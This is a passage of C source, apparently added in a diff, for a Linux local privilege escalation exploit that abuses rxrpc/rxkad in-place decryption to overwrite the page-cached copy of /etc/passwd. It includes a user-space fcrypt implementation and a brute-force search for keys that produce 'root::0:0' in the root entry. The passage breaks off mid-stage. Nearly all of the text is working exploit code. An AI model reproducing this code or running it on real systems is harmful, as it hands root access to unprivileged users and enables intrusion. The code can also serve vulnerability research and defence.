ccb[256]; + struct msghdr m = {0}; + struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; + m.msg_name = &srx; m.msg_namelen = sizeof(srx); + m.msg_iov = &iv; m.msg_iovlen = 1; + m.msg_control = ccb; m.msg_controllen = sizeof(ccb); + ssize_t r = recvmsg(rxsk_cli, &m, 0); + if (r > 0) break; + if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000); + else break; + } + fcntl(rxsk_cli, F_SETFL, fl); + + close(rxsk_cli); + close(udp_srv); + syscall(SYS_keyctl, 3, key); + return 0; + +trig_fail: + close(p[0]); close(p[1]); + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); + return -1; +} + +/* =================================================================== + * USER-SPACE pcbc(fcrypt) BRUTE-FORCE + * + * The kernel's rxkad_verify_packet_1() does an in-place 8-byte + * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice + * offset. pcbc with single 8-B block and IV=0 reduces to a plain + * fcrypt_decrypt(C, K). We can therefore search for the right K + * entirely in user-space — without touching the kernel/VM at all — + * before applying ONE deterministic kernel trigger. + * + * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH). + * Verified against kernel test vectors: + * K=0, decrypt(0E0900C73EF7ED41) = 00000000 + * K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0 + * =================================================================== */ + +static const uint8_t fc_sbox0_raw[256] = { + 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, + 0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, + 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, + 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, + 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15, + 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24, + 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, + 0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, + 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, + 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, + 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6, + 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1, + 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, + 0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, + 0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, + 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e, +}; +static const uint8_t fc_sbox1_raw[256] = { + 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, + 0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, + 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, + 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, + 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa, + 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc, + 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, + 0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, + 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, + 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, + 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52, + 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30, + 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, + 0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, + 0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, + 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80, +}; +static const uint8_t fc_sbox2_raw[256] = { + 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, + 0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, + 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, + 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, + 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0, + 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d, + 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, + 0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, + 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, + 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, + 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99, + 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a, + 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, + 0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, + 0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, + 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86, +}; +static const uint8_t fc_sbox3_raw[256] = { + 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, + 0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, + 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, + 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, + 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4, + 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2, + 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65, + 0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, + 0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, + 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, + 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05, + 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0, + 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, + 0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, + 0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, + 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25, +}; + +static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256]; + +#include + +static void fcrypt_init_sboxes(void) +{ + for (int i = 0; i < 256; i++) { + fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3); + fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) | + ((uint32_t)fc_sbox1_raw[i] >> 5)); + fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11); + fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19); + } +} + +#define fc_ror56_64(k, n) \ + (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n)))) + +typedef struct { uint32_t sched[16]; } fcrypt_uctx; + +static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8]) +{ + uint64_t k = 0; + k = (uint64_t)(key[0] >> 1); + k <<= 7; k |= (uint64_t)(key[1] >> 1); + k <<= 7; k |= (uint64_t)(key[2] >> 1); + k <<= 7; k |= (uint64_t)(key[3] >> 1); + k <<= 7; k |= (uint64_t)(key[4] >> 1); + k <<= 7; k |= (uint64_t)(key[5] >> 1); + k <<= 7; k |= (uint64_t)(key[6] >> 1); + k <<= 7; k |= (uint64_t)(key[7] >> 1); + + ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11); + ctx->sched[0xf] = htobe32((uint32_t)k); +} + +#define FC_F(R_, L_, sched_) do { \ + union { uint32_t l; uint8_t c[4]; } u; \ + u.l = (sched_) ^ (R_); \ + L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ \ + fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \ +} while (0) + +static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, + uint8_t out[8], const uint8_t in[8]) +{ + uint32_t L, R; + memcpy(&L, in, 4); + memcpy(&R, in + 4, 4); + FC_F(L, R, ctx->sched[0xf]); + FC_F(R, L, ctx->sched[0xe]); + FC_F(L, R, ctx->sched[0xd]); + FC_F(R, L, ctx->sched[0xc]); + FC_F(L, R, ctx->sched[0xb]); + FC_F(R, L, ctx->sched[0xa]); + FC_F(L, R, ctx->sched[0x9]); + FC_F(R, L, ctx->sched[0x8]); + FC_F(L, R, ctx->sched[0x7]); + FC_F(R, L, ctx->sched[0x6]); + FC_F(L, R, ctx->sched[0x5]); + FC_F(R, L, ctx->sched[0x4]); + FC_F(L, R, ctx->sched[0x3]); + FC_F(R, L, ctx->sched[0x2]); + FC_F(L, R, ctx->sched[0x1]); + FC_F(R, L, ctx->sched[0x0]); + memcpy(out, &L, 4); + memcpy(out + 4, &R, 4); +} + +/* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a + * shell field that equals "/bin/bash" (in /etc/shells, valid path). + * The two splices interlock as: + * + * bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then + * 4 random gecos-prefix bytes. + * bytes 15..22 (offset 2808): P2 — wipes the original ':' at line + * pos 16, preserves ':' at pos 21 and '/' at pos 22. + * + * Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash" + * pos 0 8 21 32 + * + * pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash". + * Now `su -s /bin/bash test` proceeds through the restricted_shell() + * check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash + * under uid=0. + * + * === 3-splice predicates === + * + * After applying splices A, B, C in order to /etc/passwd line 1 + * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state + * of chars 4..15 is determined by these P bytes: + * + * char 4 = P_A[0] want: ':' + * char 5 = P_A[1] want: ':' + * char 6 = P_B[0] want: '0' (overwrites P_A[2]) + * char 7 = P_B[1] want: ':' (overwrites P_A[3]) + * char 8 = P_C[0] want: '0' (overwrites P_A[4]/P_B[2]) + * char 9 = P_C[1] want: ':' (overwrites P_A[5]/P_B[3]) + * char 10..14 = P_C[2..6] want: any byte except ':' '\0' '\n' + * char 15 = P_C[7] want: ':' + * + * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they + * are overwritten before /etc/passwd is read by anyone — we only care + * about the final state. */ +static inline int fc_check_pa_nullok(const uint8_t P[8]) +{ + return P[0] == ':' && P[1] == ':'; +} + +static inline int fc_check_pb_nullok(const uint8_t P[8]) +{ + return P[0] == '0' && P[1] == ':'; +} + +static inline int fc_check_pc_nullok(const uint8_t P[8]) +{ + if (P[0] != '0') return 0; + if (P[1] != ':') return 0; + if (P[7] != ':') return 0; + for (int i = 2; i < 7; i++) { + if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0; + } + return 1; +} + +static uint64_t fc_splitmix64(uint64_t *s) +{ + uint64_t z = (*s += 0x9E3779B97F4A7C15ULL); + z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL; + z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL; + return z ^ (z >> 31); +} + +/* Generic brute-force. `predicate` decides if a P is acceptable. */ +typedef int (*pcheck_fn)(const uint8_t P[8]); + +static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, + pcheck_fn check, + uint8_t K_out[8], uint8_t P_out[8], + uint64_t seed_init, + const char *label) +{ + fcrypt_uctx ctx; + uint8_t K[8], P[8]; + uint64_t seed = seed_init; + struct timespec ts0, ts1; + clock_gettime(CLOCK_MONOTONIC, &ts0); + + for (uint64_t iter = 0; iter < max_iters; iter++) { + uint64_t r = fc_splitmix64(&seed); + memcpy(K, &r, 8); + fcrypt_user_setkey(&ctx, K); + fcrypt_user_decrypt(&ctx, P, C); + + if (check(P)) { + memcpy(K_out, K, 8); + memcpy(P_out, P, 8); + clock_gettime(CLOCK_MONOTONIC, &ts1); + double dt = (ts1.tv_sec - ts0.tv_sec) + + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; + LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", + label, + (unsigned long)iter, dt, iter / dt / 1e6, + K[0],K[1],K[2],K[3],K[4],K[5],K[6],K[7], + P[0],P[1],P[2],P[3],P[4],P[5],P[6],P[7], + (P[0]>=32&&P[0]<127)?P[0]:'.', + (P[1]>=32&&P[1]<127)?P[1]:'.', + (P[2]>=32&&P[2]<127)?P[2]:'.', + (P[3]>=32&&P[3]<127)?P[3]:'.', + (P[4]>=32&&P[4]<127)?P[4]:'.', + (P[5]>=32&&P[5]<127)?P[5]:'.', + (P[6]>=32&&P[6]<127)?P[6]:'.', + (P[7]>=32&&P[7]<127)?P[7]:'.'); + return 0; + } + + if ((iter & 0x3ffffff) == 0 && iter > 0) { + clock_gettime(CLOCK_MONOTONIC, &ts1); + double dt = (ts1.tv_sec - ts0.tv_sec) + + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; + fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n", + label, dt, (unsigned long)iter, iter / dt / 1e6); + } + } + return -1; +} + + +int rxrpc_lpe_main(int argc, char **argv) +{ + fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); + fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", + getuid(), geteuid(), getgid()); + + { + const char *no_unshare = getenv("POC_NO_UNSHARE"); + if (!no_unshare || *no_unshare != '1') { + const char *do_unshare = getenv("POC_UNSHARE"); + if (do_unshare && *do_unshare == '1') { + if (do_unshare_userns_netns() < 0) return 1; + } + } + } + + /* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module. + * Without this, the first add_key("rxrpc", ...) call fails with ENODEV + * because the kernel key type "rxrpc" is registered by rxrpc_init() in + * the module load path. */ + { + int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (dummy < 0) { + WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno)); + return 1; + } + close(dummy); + LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)"); + } + + /* Open /etc/passwd RO and mmap the first page (which contains the + * root entry on line 1). */ + const char *target_path = getenv("POC_TARGET_FILE"); + if (!target_path || !*target_path) target_path = "/etc/passwd"; + + int rfd_ro = open(target_path, O_RDONLY); + if (rfd_ro < 0) { + WARN("open %s RO: %s", target_path, strerror(errno)); + return 1; + } + struct stat st; + fstat(rfd_ro, &st); + if (st.st_size < 32) { WARN("target too small: %lld", (long long)st.st_size); return 1; } + LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o", + target_path, (long long)st.st_size, st.st_uid, st.st_gid, + st.st_mode & 07777); + + /* mmap first page so the page-cache page stays pinned. */ + void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0); + if (map == MAP_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; } + LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map); + + /* If a previous attempt already left the root entry in the patched + * "root::0:0:..." form, treat as success and skip the brute-force / + * trigger stages. Otherwise proceed regardless of current state — + * the brute-force re-derives K_A/K_B/K_C from whatever bytes are + * currently at offsets 4/6/8 of the page-cache page, so it works + * even on the corrupt residue from a previous failed run. */ + { + const char *m = (const char *)map; + if (memcmp(m, "root::0:0", 9) == 0) { + LOG("/etc/passwd already patched (root::0:0...) — nothing to do"); + return 0; + } + LOG("/etc/passwd line 1 first 16 bytes:"); + for (int i = 0; i < 16; i++) + fprintf(stderr, "%02x ", (uint8_t)m[i]); + fprintf(stderr, "\n"); + } + fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '"); + for (int i = 0; i < 32; i++) { + char c = ((const char *)map)[i]; + fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); + } + fprintf(stderr, "'\n"); + + /* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE === + * + * Read THREE 8-byte ciphertexts at file offsets 4, 6, 8. Search + * independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"), + * K_C (chars 8-15 = "0:GGGGGG:" with G non-control). All searches + * are user-space only — no kernel/VM interaction. + * + * Last-write-wins ordering: trigger A first (covers 4..11), then B + * (covers 6..13 — overrides A's 6..11), then C (covers 8..15 — + * overrides A's 8..11 and B's 8..13). Final state of chars 4..15: + * chars 4..5 = P_A[0..1] + * chars 6..7 = P_B[0..1] + * chars 8..15 = P_C[0..7] + * =================================================================*/ + uint8_t Ca[8], Cb[8], Cc[8]; + int off_a = 4, off_b = 6, off_c = 8; + if (pread(rfd_ro, Ca, 8, off_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; } + if (pread(rfd_ro, Cb, 8, off_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; } + if (pread(rfd_ro, Cc, 8, off_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; } + + LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", + off_a, Ca[0],Ca[1],Ca[2],Ca[3],Ca[4],Ca[5],Ca[6],Ca[7], + (Ca[0]>=32&&Ca[0]<127)?Ca[0]:'.', (Ca[1]>=32&&Ca[1]<127)?Ca[1]:'.', + (Ca[2]>=32&&Ca[2]<127)?Ca[2]:'.', (Ca[3]>=32&&Ca[3]<127)?Ca[3]:'.', + (Ca[4]>=32&&Ca[4]<127)?Ca[4]:'.', (Ca[5]>=32&&Ca[5]<127)?Ca[5]:'.', + (Ca[6]>=32&&Ca[6]<127)?Ca[6]:'.', (Ca[7]>=32&&Ca[7]<127)?Ca[7]:'.'); + LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", + off_b, Cb[0],Cb[1],Cb[2],Cb[3],Cb[4],Cb[5],Cb[6],Cb[7], + (Cb[0]>=32&&Cb[0]<127)?Cb[0]:'.', (Cb[1]>=32&&Cb[1]<127)?Cb[1]:'.', + (Cb[2]>=32&&Cb[2]<127)?Cb[2]:'.', (Cb[3]>=32&&Cb[3]<127)?Cb[3]:'.', + (Cb[4]>=32&&Cb[4]<127)?Cb[4]:'.', (Cb[5]>=32&&Cb[5]<127)?Cb[5]:'.', + (Cb[6]>=32&&Cb[6]<127)?Cb[6]:'.', (Cb[7]>=32&&Cb[7]<127)?Cb[7]:'.'); + LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", + off_c, Cc[0],Cc[1],Cc[2],Cc[3],Cc[4],Cc[5],Cc[6],Cc[7], + (Cc[0]>=32&&Cc[0]<127)?Cc[0]:'.', (Cc[1]>=32&&Cc[1]<127)?Cc[1]:'.', + (Cc[2]>=32&&Cc[2]<127)?Cc[2]:'.', (Cc[3]>=32&&Cc[3]<127)?Cc[3]:'.', + (Cc[4]>=32&&Cc[4]<127)?Cc[4]:'.', (Cc[5]>=32&&Cc[5]<127)?Cc[5]:'.', + (Cc[6]>=32&&Cc[6]<127)?Cc[6]:'.', (Cc[7]>=32&&Cc[7]<127)?Cc[7]:'.'); + + fcrypt_init_sboxes(); + /* selftest */ + { + fcrypt_uctx ctx; + uint8_t z[8] = {0}; + uint8_t cv[8] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 }; + uint8_t pv[8]; + fcrypt_user_setkey(&ctx, z); + fcrypt_user_decrypt(&ctx, pv, cv); + if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; } + } + LOG("fcrypt selftest OK"); + + uint8_t Ka[8], Pa_out[8]; + uint8_t Kb[8], Pb_out[8]; + uint8_t Kc[8], Pc_out[8]; + uint8_t Cb_actual[8], Cc_actual[8]; + + { + uint64_t max_iters = 10000000000ULL; + const char *e = getenv("LPE_MAX_ITERS"); + if (e) max_iters = strtoull(e, NULL, 0); + uint64_t seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); + const char *se = getenv("LPE_SEED"); + if (se) seed_base = strtoull(se, NULL, 0); + + fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n"); + if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok, + Ka, Pa_out, seed_base, "K_A") != 0) { + WARN("K_A search exhausted"); return 2; + } + + /* After splice A is applied, the ciphertext that splice B will + * see at file offset 6 is NOT the original Cb — it's the bytes + * that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus + * the original bytes 12..13 (= Cb[6..7]). We must derive + * Cb_actual and search K_B against it. */ + memcpy(Cb_actual, Pa_out + 2, 6); + memcpy(Cb_actual + 6, Cb + 6, 2); + LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x", + Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3], + Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]); + + fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n"); + if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok, + Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL, + "K_B") != 0) { + WARN("K_B search exhausted"); return 2; + } + + /* Same chaining logic for splice C: after splice B, file offsets + * 8..13 hold Pb[2..7]; offsets 14..15 still hold the original + * bytes Cc[6..7]. */ + memcpy(Cc_actual, Pb_out + 2, 6); + memcpy(Cc_actual + 6, Cc + 6, 2); + LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x", + 